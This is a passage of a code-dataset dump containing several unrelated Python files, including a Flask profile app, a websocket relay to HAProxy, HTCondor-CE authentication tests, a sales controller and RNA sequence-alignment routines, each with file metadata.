33)\n\nTOP_LAYERS_ENC = (3, 9)\nTOP_LAYERS_DEC = (22, 29)\nBOTTOM_LAYERS = (9, 22)\n\nLAYER_RANGES = {'INPUT': (IN_LAYERS),\n 'OUTPUT': (OUT_LAYERS),\n 'ENCODER': (ENCONDER_LAYERS),\n 'DECODER': (DECODER_LAYERS),\n 'TOP': (TOP_LAYERS_ENC, TOP_LAYERS_DEC),\n 'BOTTOM': (BOTTOM_LAYERS)}\n\n# LAYER names:\nIN_LAYER_REGEXP = '.*input'\nFC_LAYER_REGEXP = '.*final.*'\nOUT_LAYER_REGEXP = '(?:flow|transformer)'\nENC_LAYER_REGEXP = '.*enc_(?:conv|pooling)_(\\d).*'\nDEC_LAYER_REGEXP = '.*dec_(?:conv|upsample)_(\\d).*'\nLEVEL_NUMBER = lambda x: re.match('.*(?:enc|dec)_(?:conv|upsample|pooling)_(\\d).*', x)\nIS_TOP_LEVEL = lambda x: int(LEVEL_NUMBER(x)[1]) < 3 if LEVEL_NUMBER(x) is not None else False or bool(re.match(FC_LAYER_REGEXP, x))\nIS_BOTTOM_LEVEL = lambda x: int(LEVEL_NUMBER(x)[1]) >= 3 if LEVEL_NUMBER(x) is not None else False\n\nLAYER_SELECTION = {'INPUT': lambda x: bool(re.match(IN_LAYER_REGEXP, x)),\n 'FULLYCONNECTED': lambda x: bool(re.match(FC_LAYER_REGEXP, x)),\n 'ENCODER': lambda x: bool(re.match(ENC_LAYER_REGEXP, x)),\n 'DECODER': lambda x: bool(re.match(DEC_LAYER_REGEXP, x)),\n 'TOP': lambda x: IS_TOP_LEVEL(x),\n 'BOTTOM': lambda x: IS_BOTTOM_LEVEL(x)\n }\n\n# STUPID IDEA THAT COMPLICATES THINGS. The points was to allow combinations of the layer groups\n# OR_GROUPS = ['ENCODER', 'DECODER', 'INPUT', 'OUTPUT', 'FULLYCONNECTED'] # These groups can be OR'ed with the AND_GROUPS and among them. E.g., Top layers of the encoder and decoder: ENCODER or DECODER and TOP\n# AND_GROUPS = ['TOP', 'BOTTOM'] # These groups can be AND'ed with the OR_GROUPS and among them\n","sub_path":"COMET/augmentation_constants.py","file_name":"augmentation_constants.py","file_ext":"py","file_size_in_byte":2817,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"404915811","text":"\"\"\"\nFlask Documentation: http://flask.pocoo.org/docs/\nJinja2 Documentation: http://jinja.pocoo.org/2/documentation/\nWerkzeug Documentation: http://werkzeug.pocoo.org/documentation/\nThis file creates your application.\n\"\"\"\n\nfrom app import app,db\nfrom flask import render_template, request, redirect, url_for, flash\nfrom app.forms import MyForm\nfrom app.models import UserProfile\nfrom werkzeug.utils import secure_filename\nimport psycopg2 \nimport os \nfrom datetime import datetime\n\n\n###\n# Routing for your application.\n###\n\n@app.route('/')\ndef home():\n \"\"\"Render website's home page.\"\"\"\n return render_template('home.html')\n\n\n@app.route('/about/')\ndef about():\n \"\"\"Render the website's about page.\"\"\"\n return render_template('about.html', name=\"Mary Jane\")\n\n@app.route('/allprofiles/')\ndef fullprofile(userid):\n \"\"\"Render the website's about page.\"\"\"\n user=UserProfile.query.get(userid)\n return render_template('fullprofile.html', user=user, startdate=format_date_joined(12, 2, 2018))\n\n@app.route('/allprofiles/')\ndef Users(): \n users=db.session.query(UserProfile).all()\n return render_template('allprofiles.html', users=users)\n\n###\n# The functions below should be applicable to all Flask apps.\n###\n\n@app.route('/profile/', methods=('GET', 'POST'))\ndef profile():\n form = MyForm()\n if request.method=='POST' and form.validate_on_submit():\n firstname=request.form['firstname']\n lastname=request.form['lastname']\n gender=request.form['gender']\n email=request.form['email']\n location=request.form['location']\n biography=request.form['biography']\n profilepic = form.profilepic.data\n \n \n filename=secure_filename(profilepic.filename)\n profilepic.save(os.path.join(app.config['UPLOAD_FOLDER'],filename))\n \n userprofile = UserProfile(firstname,lastname,gender,email,location,biography, filename)\n db.session.add(userprofile)\n db.session.commit()\n \n flash('Yup. you been added')\n return redirect(url_for('Users'))\n \n return render_template('profile.html', form=form)\n \n \n \n# Flash errors from the form if validation fails\ndef flash_errors(form):\n for field, errors in form.errors.items():\n for error in errors:\n flash(u\"Error in the %s field - %s\" % (\n getattr(form, field).label.text,\n error\n ), 'danger')\n\n\n@app.route('/.txt')\ndef send_text_file(file_name):\n \"\"\"Send your static text file.\"\"\"\n file_dot_text = file_name + '.txt'\n return app.send_static_file(file_dot_text)\n\n\n@app.after_request\ndef add_header(response):\n \"\"\"\n Add headers to both force latest IE rendering engine or Chrome Frame,\n and also tell the browser not to cache the rendered page. If we wanted\n to we could change max-age to 600 seconds which would be 10 minutes.\n \"\"\"\n response.headers['X-UA-Compatible'] = 'IE=Edge,chrome=1'\n response.headers['Cache-Control'] = 'public, max-age=0'\n return response\n\n\n@app.errorhandler(404)\ndef page_not_found(error):\n \"\"\"Custom 404 page.\"\"\"\n return render_template('404.html'), 404\n\ndef format_date_joined(month,day, year):\n x = datetime(year,month,day) \n return(x.strftime(\"%B\" + \" \" +\"%d\"+ \" \"+\"%Y\"))\n \nif __name__ == '__main__':\n app.run(debug=True, host=\"0.0.0.0\", port=\"8080\")\n","sub_path":"app/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3409,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"594210751","text":"\nimport gspm\nimport re \nimport io\nfrom setuptools import setup, find_packages\n\nlong_desc = \"missing\"\n\nwith io.open('README.md') as t_file:\n long_desc = t_file.read()\n\n# __version__ = re.search(\n# r'__version__\\s*=\\s*[\\'\"]([^\\'\"]*)[\\'\"]', # It excludes inline comment too\n# io.open('gspm/__init__.py', encoding='utf_8_sig').read()\n# ).group(1)\n\ni_requires = ['pyyaml', 'gitpython', 'dotmap', 'wget', 'packaging', 'cookiecutter']\nt_requires = []\n\nsetup(\n\n name=gspm.__id__,\n version=gspm.__version__,\n description=gspm.__desc__,\n long_description=long_desc,\n long_description_content_type='text/markdown',\n url='https://gitlab.com/godot-stuff/gs-project-manager.git',\n author='Paul Hocker',\n author_email='paul@spocker.net',\n license='MIT',\n packages=find_packages('.'),\n #package_data={'gspm': ['./gspm/templates/*.*', './gspm/assets/*.*']},\n include_package_data=True,\n install_requires=i_requires,\n zip_safe=True,\n tests_require=t_requires,\n entry_points={\n 'console_scripts': ['gspm=gspm.gspm:run'],\n },\n classifiers=[\n # Picked from\n # http://pypi.python.org/pypi?:action=list_classifiers\n 'Development Status :: 2 - Pre-Alpha',\n 'License :: OSI Approved :: MIT License',\n 'Natural Language :: English',\n 'Operating System :: MacOS',\n 'Operating System :: Microsoft :: Windows',\n 'Operating System :: POSIX :: Linux',\n 'Programming Language :: Python :: 3.6',\n 'Programming Language :: Python :: 3.5',\n 'Programming Language :: Python :: 3.4',\n 'Topic :: Utilities',\n 'Topic :: Games/Entertainment',\n 'Environment :: Console',\n ]\n)\n","sub_path":"pypi_install_script/gspm-0.1.15.tar/setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1715,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"248298539","text":"import socket\nimport threading\nimport websockets\nimport asyncio\n\n\n# used for sending returned data from the receiver server (transaction server connection) to original client\nreturned_data = []\n\n# Connect to haproxy server\nhaproxyPort = 8090\nhaproxySocket = None\n\nrecvAddress = None\n\n\n# Server loop, receives data from client connections, and sends it to haproxy server load balancer.\n'''\ndef client_connection(haproxySocket, client_server_socket):\n\n global returned_data\n\n server_address = client_server_socket.getsockname()\n \n while True:\n print('[client_connection]: waiting for a connection on '+server_address[0]+':'+str(server_address[1]) +' (transaction server -> webserver connection)')\n connection, client_address = client_server_socket.accept()\n\t\n try:\n print(\"[client_connection]: connection received\")\n while True:\n \n data = connection.recv(1024)\n if data:\n print(\"[client_connection]:\" + data.decode())\n returnMsg = \"[client_connection]: client server received from you: \" + data.decode()\n connection.sendall(returnMsg.encode('utf-8'))\n \n data_string = data.decode()\n data_string = data_string.rstrip()\n print(data_string)\n \n # send to haproxy commands\n haproxySocket.sendall(data_string.encode('utf-8') + '\\n'.encode())\n \n while True: \n if returned_data:\n connection.sendall(returned_data)\n returned_data = None\n break\n\n else:\n print(\"[client_connection]: no more data from client\")\n break\n finally:\n print(\"client closed\")\n connection.close() \t \n'''\n\nasync def client_connection(websocket, path):\n\n global returned_data\n global haproxySocket\n\n\n while True:\n\n print(\"[client_connection]: awaiting data\")\n\n try:\n data = await websocket.recv()\n print(\"[client_connection]: data arrived\")\n except:\n print(\"client connection closed\")\n break\n\n response = data.rstrip()\n print(\"sending data: \",response)\n\n #await websocket.send(\"got it, thanks\")\n\n haproxySocket.sendall(response.encode('utf-8') + '\\n'.encode())\n somethingHappened = False\n\n while True:\n if len(returned_data) > 0:\n somethingHappened = True\n print(\"returning \", returned_data)\n await websocket.send(returned_data[0].decode())\n del returned_data[0]\n elif len(returned_data) == 0 and somethingHappened == True:\n break\n return\n\n\n\ndef ping_haproxy():\n global haproxySocket\n\n if(haproxySocket):\n haproxySocket.sendall(\"[1] PING\\n\".encode())\n\ndef receiver(recv_server_socket):\n\n global returned_data\n global haproxySocket\n global recvAddress\n \n\n while True:\n\n server_address = recv_server_socket.getsockname()\n recvAddress = server_address[0] + \":\" + str(server_address[1])\n\n #connect to haproxy\n haproxySocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n haproxySocket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n haproxySocket.connect(('haproxy', haproxyPort)) \n haproxySocket.sendall(recvAddress.encode() + \"\\n\".encode())\n\n print('[receiver]: waiting for a connection on '+recvAddress+' (transaction server -> webserver connection)')\n connection, client_address = recv_server_socket.accept()\n\n try:\n print(\"[receiver]: connection received, connected to \", client_address)\n while True:\n \n data = connection.recv(1000000)\n print(\"recieved data \", data)\n if data:\n \n if data.decode() != 'ping\\n':\n returned_data.append(data)\n \n else:\n print(\"[receiver]: no more data from client\")\n break\n finally:\n print(\"receiver closed connection\")\n connection.close()\n haproxySocket.close()\n \n\ndef main():\n\n '''\n t = threading.Timer(10.0, ping_haproxy)\n t.start()\n '''\n\n # server config\n \n hostport = 9081 # host port (of the docker container) to map webserver to.\n \n hostIp = socket.gethostbyname(socket.gethostname())\n server_address = (hostIp, hostport) # specify the server address, set at localhost and PORT.\n \n '''\n client_server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n client_server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n client_server_socket.bind(server_address)\n client_server_socket.listen(5)\n '''\n start_client_connection = websockets.serve(client_connection, server_address[0], hostport )\n print(\"[client_connection]: websocket server started, listening at: %s:%d\" % (server_address[0],hostport))\n\n\n\n # server config\n #send recv server details to haproxy\n recvPort = 9082\n hostIP = socket.gethostbyname(socket.gethostname())\n server_address = (hostIP, recvPort) # specify the server address, set at localhost and PORT.\n \n recv_server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n recv_server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n recv_server_socket.bind(server_address)\n recv_server_socket.listen(5)\n\n\n receiving_thread = threading.Thread(target=receiver, args=(recv_server_socket,))\n receiving_thread.start()\n\n '''\n client_thread = threading.Thread(target=client_connection, args=(haproxySocket, client_server_socket,))\n client_thread.start()\n '''\n\n asyncio.get_event_loop().run_until_complete(start_client_connection)\n asyncio.get_event_loop().run_forever()\n\n\n \n\n\nif __name__ == '__main__':\n main()\n","sub_path":"Software Systems Scalability/webserver-tcp-server/webserver.py","file_name":"webserver.py","file_ext":"py","file_size_in_byte":6176,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"160461094","text":"from classesdistribuidora import util\nfrom classesdistribuidora.venda import Venda\nfrom datetime import datetime\nfrom controllerdistribuidora.controllerbebida import percorrer_bebidas\nfrom controllerdistribuidora.controllercliente import percorrer_cliente, cnpj_generator\nfrom controllerdistribuidora.controllerfuncionario import percorrer_funcionario\nfrom controllerdistribuidora.controllerestoque import percorrer_estoque\n\ndef gerar_data():\n hoje = datetime.now()\n return '{}/{}/{}'.format(hoje.day, hoje.month, hoje.year)\n\ndef gerar_id():\n ids = []\n vendas = util.retornar_vendas()\n for venda in vendas:\n ids.append(venda['id'])\n return max(ids) + 1\n\ndef efetuar_venda(qtd, codigo, cnpj, login):\n cliente, ic = percorrer_cliente(cnpj)\n bebida, ib = percorrer_bebidas(codigo, 3)\n vendedor = percorrer_funcionario(login, 1)\n estoque, ie = percorrer_estoque(codigo)\n if cliente and bebida and vendedor:\n if qtd.isdigit() and int(qtd) > 0 and estoque.get_qtd() >= int(qtd):\n cnpj = cnpj_generator(cnpj)\n bebidas_estoque = util.retornar_estoque()\n bebidas_estoque[ie]['qtd'] -= int(qtd)\n util.inserir_bebida_estoque(bebidas_estoque)\n\n vendas = util.retornar_vendas()\n vendas.append({'id': gerar_id(),\n 'data': gerar_data(),\n 'qtd': int(qtd),\n 'valor': int(qtd) * bebida.get_valor(),\n 'cod': codigo,\n 'cnpj': cnpj,\n 'vendedor': login})\n util.inserir_venda(vendas)\n return 2\n return 1\n return 0\n\ndef gerar_relatorio_dia(dia, mes, ano):\n if len(dia) == 2 and dia[0] == '0':\n dia = dia.replace('0', '')\n if len(mes) == 2 and mes[0] == '0':\n mes = mes.replace('0', '')\n if len(ano) == 2:\n ano = '{}{}'.format('20', ano)\n data = '{}/{}/{}'.format(dia, mes, ano)\n vendas = util.retornar_vendas()\n vendas_dia = list(filter(lambda v: v['data'] == data, vendas))\n if len(vendas_dia) > 0:\n return vendas_dia\n return ''\n\ndef gerar_relatorio_cliente(cnpj):\n cliente, i = percorrer_cliente(cnpj)\n if cliente:\n cnpj = cnpj_generator(cnpj)\n vendas = util.retornar_vendas()\n vendas_cliente = list(filter(lambda v: v['cnpj'] == cnpj, vendas))\n if len(vendas_cliente) > 0:\n return vendas_cliente, cliente\n return 1, None\n return 0, None\n\ndef gerar_relatorio_vendedor(login):\n vendedor = percorrer_funcionario(login, 1)\n if vendedor:\n vendas = util.retornar_vendas()\n vendas_vendedor = list(filter(lambda v: v['vendedor'] == login, vendas))\n\n if len(vendas_vendedor) > 0:\n return vendas_vendedor, vendedor\n return 1, None\n return 0, None\n\ndef gerar_relatorio_produto(codigo):\n bebida = percorrer_bebidas(codigo, 0)\n if bebida:\n vendas = util.retornar_vendas()\n vendas_bebida = list(filter(lambda v: v['cod'] == codigo, vendas))\n if len(vendas_bebida) > 0:\n return vendas_bebida, bebida\n return 1, None\n return 0, None","sub_path":"controllerdistribuidora/controllervendas.py","file_name":"controllervendas.py","file_ext":"py","file_size_in_byte":3199,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"478767340","text":"#pylint: disable=C0301\n#pylint: disable=R0904\n\nimport os\nimport re\nimport osgtest.library.core as core\nimport osgtest.library.files as files\nimport osgtest.library.osgunittest as osgunittest\n\nclass TestCondorCE(osgunittest.OSGTestCase):\n def general_requirements(self):\n core.skip_ok_unless_installed('condor', 'htcondor-ce', 'htcondor-ce-client')\n self.skip_bad_unless(core.state['condor-ce.started'], 'ce not running')\n\n def test_01_status(self):\n self.general_requirements()\n\n command = ('condor_ce_status', '-long')\n core.check_system(command, 'ce status', user=True)\n\n def test_02_queue(self):\n self.general_requirements()\n\n command = ('condor_ce_q', '-verbose')\n core.check_system(command, 'ce queue', user=True)\n\n def test_03_ping(self):\n self.general_requirements()\n\n command = ('condor_ce_ping', 'WRITE', '-verbose')\n stdout, _, _ = core.check_system(command, 'ping using GSI and gridmap', user=True)\n self.assert_(re.search(r'Authorized:\\s*TRUE', stdout), 'could not authorize with GSI')\n\n def test_04_trace(self):\n self.general_requirements()\n\n cwd = os.getcwd()\n os.chdir('/tmp')\n\n command = ('condor_ce_trace', '--debug', core.get_hostname())\n core.check_system(command, 'ce trace', user=True)\n\n os.chdir(cwd)\n\n def test_05_pbs_trace(self):\n self.general_requirements()\n core.skip_ok_unless_installed('torque-mom', 'torque-server', 'torque-scheduler', 'torque-client', 'munge')\n self.skip_ok_unless(core.state['torque.pbs-server-running'])\n\n cwd = os.getcwd()\n os.chdir('/tmp')\n\n command = ('condor_ce_trace', '-a osgTestPBS = True', '--debug', core.get_hostname())\n core.check_system(command, 'ce trace against pbs', user=True)\n\n os.chdir(cwd)\n\n def test_06_use_gums_auth(self):\n self.general_requirements()\n core.skip_ok_unless_installed('gums-service')\n\n # Setting up GUMS auth using the instructions here:\n # twiki.grid.iu.edu/bin/view/Documentation/Release3/InstallComputeElement#8_1_Using_GUMS_for_Authorization\n hostname = core.get_hostname()\n\n lcmaps_contents = '''gumsclient = \"lcmaps_gums_client.mod\"\n \"-resourcetype ce\"\n \"-actiontype execute-now\"\n \"-capath /etc/grid-security/certificates\"\n \"-cert /etc/grid-security/hostcert.pem\"\n \"-key /etc/grid-security/hostkey.pem\"\n \"--cert-owner root\"\n# Change this URL to your GUMS server\n \"--endpoint https://%s:8443/gums/services/GUMSXACMLAuthorizationServicePort\"\n\nverifyproxy = \"lcmaps_verify_proxy.mod\"\n \"--allow-limited-proxy\"\n \" -certdir /etc/grid-security/certificates\"\n\n# lcmaps policies require at least two modules, so these are here to\n# fill in if only one module is needed. \"good | bad\" has no effect.\ngood = \"lcmaps_dummy_good.mod\"\nbad = \"lcmaps_dummy_bad.mod\"\n\nauthorize_only:\n## Policy 1: GUMS but not SAZ (most common, default)\ngumsclient -> good | bad\n''' % hostname\n\n gums_properties_contents = '''gums.location=https://%s:8443/gums/services/GUMSAdmin\ngums.authz=https://%s:8443/gums/services/GUMSXACMLAuthorizationServicePort\n''' % (hostname, hostname)\n\n core.config['condor-ce.gums-properties'] = '/etc/gums/gums-client.properties'\n core.config['condor-ce.gsi-authz'] = '/etc/grid-security/gsi-authz.conf'\n\n files.write(core.config['condor-ce.lcmapsdb'], lcmaps_contents, owner='condor-ce.gums')\n files.write(core.config['condor-ce.gums-properties'], gums_properties_contents, owner='condor-ce')\n files.replace(core.config['condor-ce.gsi-authz'],\n '# globus_mapping liblcas_lcmaps_gt4_mapping.so lcmaps_callout',\n 'globus_mapping liblcas_lcmaps_gt4_mapping.so lcmaps_callout',\n owner='condor-ce')\n\n command = ('service', 'condor-ce', 'stop')\n core.check_system(command, 'stop condor-ce')\n\n # Need to stat the Schedd logfile so we know when it's back up\n core.config['condor-ce.schedlog'] = '/var/log/condor-ce/SchedLog'\n core.config['condor-ce.schedlog-stat'] = os.stat(core.config['condor-ce.schedlog'])\n\n command = ('service', 'condor-ce', 'start')\n core.check_system(command, 'start condor-ce')\n\n def test_07_ping_with_gums(self):\n self.general_requirements()\n core.skip_ok_unless_installed('gums-service')\n\n # Wait for the collector to come back up\n core.monitor_file(core.config['condor-ce.schedlog'],\n core.config['condor-ce.schedlog-stat'],\n 'TransferQueueManager stats',\n 60.0)\n\n command = ('condor_ce_ping', 'WRITE', '-verbose')\n stdout, _, _ = core.check_system(command, 'ping using GSI and gridmap', user=True)\n self.assert_(re.search(r'Authorized:\\s*TRUE', stdout), 'could not authorize with GSI')\n\n","sub_path":"osgtest/tests/test_55_condorce.py","file_name":"test_55_condorce.py","file_ext":"py","file_size_in_byte":5048,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"419285191","text":"# -*- coding: utf-8 -*-\nfrom database import Database\nfrom processor import Processor\n\nfrom mailer import Mailer\nfrom time import sleep\n\nfrom upwork_client import UpworkClient\n\n\ndef run_mailer(upwork):\n db = Database()\n db.init_database()\n mailer = Mailer()\n processor = Processor(db, mailer)\n\n while True:\n jobs = upwork.get_latest_jobs()\n processor.process_jobs(jobs)\n sleep(10)\n\n\nif __name__ == '__main__':\n upwork = UpworkClient()\n while True:\n if not upwork.login():\n continue\n run_mailer(upwork)\n","sub_path":"src/application.py","file_name":"application.py","file_ext":"py","file_size_in_byte":569,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"560955882","text":"import numpy as np\nfrom funcPeakAlign import DPeakList,myPeakAlignment,DPeakAlignParams, fPeakList\nfrom copy import deepcopy\nfrom funcGeneral import averQ, normSimple, smoothRect, fitLinear\nfrom scipy.optimize import fmin\n\n ### SEQEUENCE ALIGNMENT ###\ndef changeNucToN(seqRNA,dSeq):\n seqRNAN=''\n for i in range(len(seqRNA)):\n if seqRNA[i]==dSeq['nuc1']:\n seqRNAN+=dSeq['nuc1']\n elif dSeq['isSeq2'] and seqRNA[i]==dSeq['nuc2']:\n seqRNAN+=dSeq['nuc2']\n else:\n seqRNAN+='N'\n return seqRNAN\n\ndef shapeSeqAlign(dProject,seqRNA):\n seq=dProject['seq0']\n seqX=dProject['seqX0']\n scoreNuc=dProject['scrNuc']\n costMSeq=shapeCostM(seqRNA,seq,scoreNuc)\n seqWid=seqX[1:]-seqX[:-1]\n seqWid=normStat(seqWid)\n seqWid=np.append(seqWid,0)\n scormat, arrow=shapeScoreM(seq,seqRNA,costMSeq,seqWid)\n alignedSeqRNA,alignedSeq,newSeqX,start,end= shapeBackTrace(scormat, arrow,seqRNA,seq,seqX)\n \n return alignedSeqRNA,alignedSeq,newSeqX,start,end\n\ndef shapeCostM(seqRNA,seq,score=None,match=2,misMatch=-1):\n n=len(seqRNA)\n m=len(seq)\n costMSeq=np.zeros([n,m])\n if score==None:\n score=np.ones(m)\n for i in range(n):\n for j in np.arange(m):\n if seqRNA[i]==seq[j]:\n if seq[j]=='N':\n costMSeq[i,j]=match/2\n else:\n costMSeq[i,j]=match*score[j]\n else:\n costMSeq[i,j]=misMatch\n return costMSeq\n\n\ndef shapeScoreM(seq,seqRNA3to5N,costMSeq,seqWid,gap=-5.0):\n NSeq=len(seq)\n NRNA=len(seqRNA3to5N)\n \n scormat = np.zeros( [NRNA+1,NSeq+1], dtype='f4')\n arrow = np.zeros( [NRNA+1,NSeq+1], int)\n arrow[0,:] = 2 # np.ones(NSeq+1)\n arrow[:,0] = 1 #np.ones(NSeq+1)\n \n for i in range( 1,NRNA+1 ):\n for j in range(1,NSeq+1):\n gap1=gap\n gap2=gap \n if seqWid[j-1]<1 and seqWid[j-1]>-1: \n gap2+=gap\n gap1+=gap\n if arrow[i-1,j]==1:\n gap1+=gap\n elif arrow[i,j-1]==2:\n gap2+=gap\n s0= scormat[i-1,j-1]+ costMSeq[i-1,j-1] # Matched\n s1= scormat[i-1,j] + gap1 # put gap to Seq, a peak should be added\n s2= scormat[i,j-1] + gap2 # put gap to RNA, a peak should be deleted\n \n scormat[i,j],arrow[i,j] = maxArg4(s0,s1,s2,0)\n \n return scormat, arrow\n\ndef maxArg4(s0,s1,s2,s3):\n max=s0\n arg=0\n if s1>max:\n max=s1\n arg=1\n if s2>max:\n max=s2\n arg=2\n if s3>max:\n max=s3\n arg=3\n return max, arg \n\ndef shapeBackTrace(scormat, arrow,seq1,seq2,seqX):\n newSeq1=''\n newSeq2=''\n newSeqX=np.array([])\n N1=len(seq1)\n N2=len(seq2)\n ok = 1\n v,h = divmod( scormat.argmax(), N2+1)\n end=v\n if h0:\n for i in range(h,0,-1):\n if v>0:\n newSeq1+=seq1[v-1]\n newSeq2+=seq2[h-1]\n newSeqX=np.append(newSeqX,seqX[h-1])\n v -= 1\n h -= 1\n v1,h1=v,h\n \n newSeq1=newSeq1[::-1]\n newSeq2=newSeq2[::-1]\n newSeqX=newSeqX[::-1]\n # reverse the strings\n start=v1# (v1-h1) \n \n return newSeq1,newSeq2,newSeqX,start,end\n\ndef applySeqAlign(dProjOut,seqRNA3to5N,start,end):\n alignedSeqRNA,alignedSeq,newSeqX,startNucI,endNucI=shapeSeqAlign(dProjOut,seqRNA3to5N[start:end])\n newSeqX,newSeq=nucAddDelete(alignedSeqRNA,alignedSeq,newSeqX)\n \n startNucI=startNucI+start \n endNucI=startNucI+len(newSeqX) \n NSeqRNA=len(dProjOut['RNA']) \n dProjOut['start']=NSeqRNA-startNucI\n dProjOut['end']=dProjOut['start']-len(newSeqX)\n dProjOut['seqX']=np.array(newSeqX,int)\n dProjOut['seqRNA']=dProjOut['RNA'][::-1][startNucI:endNucI]\n dProjOut['seqNum']=np.arange(dProjOut['start'],dProjOut['end'],-1) \n return dProjOut\n\n\ndef nucAddDelete(seqRNA,seq,seqX):\n NSeq=len(seq)\n seq0=list(seq)\n# for i in range(NSeq):\n# if seq[i]=='-':\n# seqX=np.insert(seqX,i,0) \n# \n# Find the match points\n matchI=np.array([0],dtype='i4')\n i=0\n while iNGapSeq:\n # delete a peak\n xx=np.array([])\n ss=[]\n for m in range(matchI[i],matchI[i+1]+1,1):\n if seqX[m]!=0:\n xx=np.append(xx,seqX[m])\n ss.append(seq[m])\n diffGap=NGapRNA-NGapSeq\n while diffGap>0:\n widXX=xx[1:]-xx[:-1]\n argmin0=np.argmin(widXX)\n if argmin0==0:\n argmin0+=1\n xx=np.delete(xx,argmin0)\n del ss[argmin0]\n diffGap-=1\n newSeqX=np.append(newSeqX,xx[:-1]) \n newSeq.append(''.join(ss[:-1])) \n elif NGapRNA0:\n widXX=xx[1:]-xx[:-1]\n argmax0=np.argmax(widXX)\n ind=argmax0+1\n x=int((xx[ind-1]+xx[ind])/2)\n xx=np.insert(xx,ind,x)\n ss.insert(ind,'N')\n diffGap-=1\n newSeqX=np.append(newSeqX,xx[:-1])\n newSeq.append(''.join(ss[:-1])) \n \n newSeqX=np.append(newSeqX,seqX[matchI[-1]])\n newSeq.append(seq[matchI[-1]])\n newSeq=''.join(newSeq)\n newSeq=list(newSeq)\n return newSeqX,newSeq\n\n\ndef peakLinking(seqX,dPeakList1,data1,isOptPos=False,minScore=0.5): \n dPeakList0=DPeakList()\n dPeakList0['pos']=np.array(seqX,dtype='i4')\n dPeakList0['NPeak']=len(seqX)\n dParams=DPeakAlignParams()\n dParams['simFunc']='Position'\n dParams['minScore']=minScore\n dParams['timeT'] = 0.0\n aligned0,aligned1 = myPeakAlignment(dPeakList0,dPeakList1,dParams)\n dPeakList11,controlA = findLinkedPeaks(aligned0,aligned1,dPeakList1,data1,isOptPos)\n return dPeakList11, controlA\n\n \ndef findLinkedPeaks(aligned0,aligned1,dPeakList1,data1,isOptPos):\n controlA=np.array([],int)\n newPeakX1=np.array([],int)\n \n NAligned=len(aligned0)\n if aligned0[0]!=-1 and aligned1[0]!=-1:\n newPeakX1=np.append(newPeakX1,aligned1[0])\n controlA=np.append(controlA,1)\n elif aligned0[0]!=-1 and aligned1[0]==-1:\n newPeakX1=np.append(newPeakX1,aligned0[0])\n controlA=np.append(controlA,0)\n i=1 \n while i160:\n K=80\n else:\n K=NSeq\n kat=int(NSeq/K)\n for i in range(kat):\n s=i*K\n if i==kat-1:\n e=NSeq\n else:\n e=(i+1)*K\n seq0,scoreNuc0 = findSeqPart(dProject,peakListS1,peakListS2,peakListBG,s,e)\n seq[s:e]=seq0\n scoreNuc[s:e]=scoreNuc0\n \n dProject['seq0']=seq\n dProject['seqX0']=seqX\n dProject['scrNuc']=scoreNuc\n \n return dProject\n\n\ndef findSeqX(peakListBG,peakListS1):\n dParams=DPeakAlignParams()\n dParams['simFunc']='Position'\n aligned0,aligned1=myPeakAlignment(peakListBG,peakListS1,dParams)\n seqX=np.array([],int)\n for i in range(2,len(aligned0)-1,1):\n if aligned1[i]==-1:\n if aligned0[i-1]!=-1 and aligned1[i-1]!=-1:\n if aligned0[i+1]!=-1 and aligned1[i+1]!=-1:\n pos0=aligned1[i-1]\n pos1=aligned1[i+1]\n if (pos1-pos0)>1.2*peakListS1['averW']:\n newPos=int((pos1+pos0)/2)\n seqX=np.append(seqX,newPos)\n else:\n seqX=np.append(seqX,aligned1[i])\n return seqX\n\ndef findSeqPart(dProject,peakListS1,peakListS2,peakListBG,s,e):\n thres=1.3\n factor=scaleShapeData(peakListS1['amp'][s:e],peakListBG['amp'][s:e],rate=0.5)\n newSeqY1=peakListS1['amp'][s:e]/factor\n NSeq1=len(newSeqY1)\n seq0=['N']*NSeq1\n scoreNuc0=np.ones(NSeq1)\n averY1=np.average(newSeqY1)\n for i in range(NSeq1):\n kat0=newSeqY1[i]/averY1\n if kat0>2:\n kat0=2\n scoreNuc0[i]=kat0\n if kat0>0.8:\n kat1=newSeqY1[i]/peakListBG['amp'][s+i]\n if kat1>thres:\n seq0[i]=dProject['nuc1']\n \n if dProject['isSeq2']:\n factor=scaleShapeData(peakListBG['amp'][s:e],peakListS2['amp'][s:e],rate=0.5)\n newSeqY2=peakListS2['amp'][s:e]/factor\n averY2=np.average(newSeqY2)\n for i in range(NSeq1):\n if newSeqY2[i]>averY2 and newSeqY2[i]>newSeqY1[i]:\n kat0=newSeqY2[i]/averY2\n kat1=newSeqY2[i]/peakListBG['amp'][s+i]\n if kat1>2:\n kat1=2\n scoreNuc0[i]=kat0\n if kat1>thres:\n seq0[i]=dProject['nuc2']\n \n return seq0,scoreNuc0\n\n\n### FAST SEQUENCE ALIGNMENT \ndef seqAlignFast(seqR,seq):\n NSeq=len(seq)\n NSeqR=len(seqR)\n fark=NSeqR-NSeq\n if fark<1:\n start=0\n return start\n scr=np.zeros(fark)\n for i in range(fark):\n scr[i]=findScoreFast(seqR[i:i+NSeq],seq)\n start=np.argmax(scr)\n return start\n \ndef findScoreFast(seqR,seq):\n scr=0\n for i in range(len(seqR)):\n if seqR[i]==seq[i] and seq[i]!='N':\n scr+=1\n return scr \n \n ### GAUSSIAN FIT ##3\ndef fitFuncG(x,pos,amp,wid):\n return amp * np.exp(-2*(x-pos)**2/wid**2)\n\ndef fitShapeData(dPeakList,dataIn,controlA=None,isOptPos=True):\n 